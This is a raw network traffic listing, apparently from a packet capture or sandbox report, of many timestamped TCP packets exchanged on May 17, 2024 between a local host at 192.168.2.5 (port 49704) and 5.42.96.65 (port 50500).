May 17, 2024 23:45:11.588373899 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588395119 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588397980 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588421106 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588424921 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588452101 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588478088 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588480949 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588480949 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588505030 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588510990 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588527918 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588531971 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.588552952 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.588577986 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.590605021 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.590636969 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.590663910 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.590679884 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.590692043 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.590718985 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.590744972 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.590751886 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.590751886 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.590770960 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.590779066 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.590801954 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.590818882 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.593990088 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594018936 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594047070 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594058037 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594074011 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594099045 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594100952 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594099045 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594125986 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594127893 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594147921 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594155073 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594178915 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594182014 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594197035 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594209909 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594235897 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594242096 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594260931 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594263077 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594290018 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594295979 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594317913 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594317913 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594336033 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594345093 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594371080 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594376087 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594393969 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594398022 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594424009 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594430923 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594450951 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594450951 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594469070 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594479084 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594505072 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594518900 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594532013 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.594554901 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.594579935 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.596188068 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.596220016 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.596246958 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.596263885 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.596273899 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.596292973 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.596302032 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.596323013 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.596366882 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.599796057 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.599831104 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.599858046 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.599858046 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.599886894 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.599898100 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.599914074 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.599921942 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.599941015 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.599946022 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.599967003 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.599967957 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.599994898 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.599996090 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600009918 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600020885 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600048065 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600056887 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600074053 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600075006 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600092888 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600117922 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600126028 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600147009 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600173950 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600178003 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600199938 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600199938 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600225925 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600225925 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600250959 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600253105 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600280046 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600296974 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600306034 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600315094 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600326061 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600332975 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600352049 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600358963 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.600380898 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.600416899 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.602148056 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.602179050 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.602205038 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.602205992 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.602235079 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.602248907 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.602277040 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.602282047 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.602303982 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.602308989 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.602323055 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.602330923 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.602353096 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.602356911 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.602382898 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.602385044 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.602408886 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.602408886 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.602436066 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.602437973 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.602458000 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.602484941 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.605691910 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.605720997 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.605747938 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.605756044 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.605768919 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.605775118 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.605803013 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.605808020 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.605829954 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.605854988 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.605856895 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.605874062 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.605882883 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.605906963 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.605910063 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.605937004 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.605938911 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.605962992 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.605971098 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.605982065 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.605988979 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.606015921 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.606028080 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.606041908 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.606060028 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.606060028 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.606069088 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.606082916 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.606096029 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.606122017 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.606125116 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.606148005 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.606148958 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.606172085 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.606175900 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.606195927 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.606203079 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.606226921 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.606229067 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.606260061 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.606286049 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.607904911 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.607937098 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.607961893 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.607964039 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.607985973 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.607990980 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.608007908 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.608017921 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.608042002 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.608043909 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.608061075 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.608069897 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.608094931 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.608095884 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.608127117 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.608158112 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611536026 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611563921 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611591101 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611594915 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611608028 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611618042 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611644983 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611645937 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611668110 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611671925 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611696959 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611697912 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611716032 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611725092 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611740112 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611752033 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611778021 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611779928 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611802101 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611805916 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611826897 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611833096 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611859083 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611865044 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611879110 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611885071 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611912012 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611924887 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611938000 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611952066 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611964941 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.611985922 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.611990929 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.612018108 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.612026930 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.612044096 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.612045050 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.612071037 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.612071037 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.612097025 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.612121105 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.613847971 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.613879919 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.613903046 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.613907099 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.613934040 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.613945961 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.613960028 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.613960981 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.613987923 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.613987923 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.614008904 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.614016056 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.614036083 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.614042997 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.614063025 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.614069939 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.614094973 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.614095926 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.614119053 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.614123106 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.614147902 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.614150047 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.614176035 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.614176035 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.614201069 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.614202976 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.614227057 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.614228964 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.614252090 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.614276886 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617407084 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617434025 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617460966 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617465019 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617476940 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617486954 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617508888 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617513895 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617535114 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617542028 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617567062 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617568016 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617594004 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617594957 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617614985 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617621899 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617645979 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617647886 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617674112 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617675066 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617697954 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617702007 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617722988 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617727995 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617752075 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617754936 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617784023 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617788076 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617815018 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617841005 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617867947 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617871046 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617894888 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617922068 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617925882 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617925882 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617925882 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617949009 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.617952108 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.617996931 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.618022919 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.619585991 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.619625092 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.619652033 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.619661093 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.619679928 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.619684935 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.619704962 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.619708061 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.619735003 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.619741917 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.619760990 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.619761944 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.619787931 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.619791031 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.619812965 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.619817972 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.619836092 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.619844913 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.619870901 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.619872093 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.619896889 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.619914055 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623148918 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623177052 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623207092 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623224974 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623240948 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:11.623270035 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:11.623271942 CEST	50500	49704	5.42.96.65	192.168.2.5
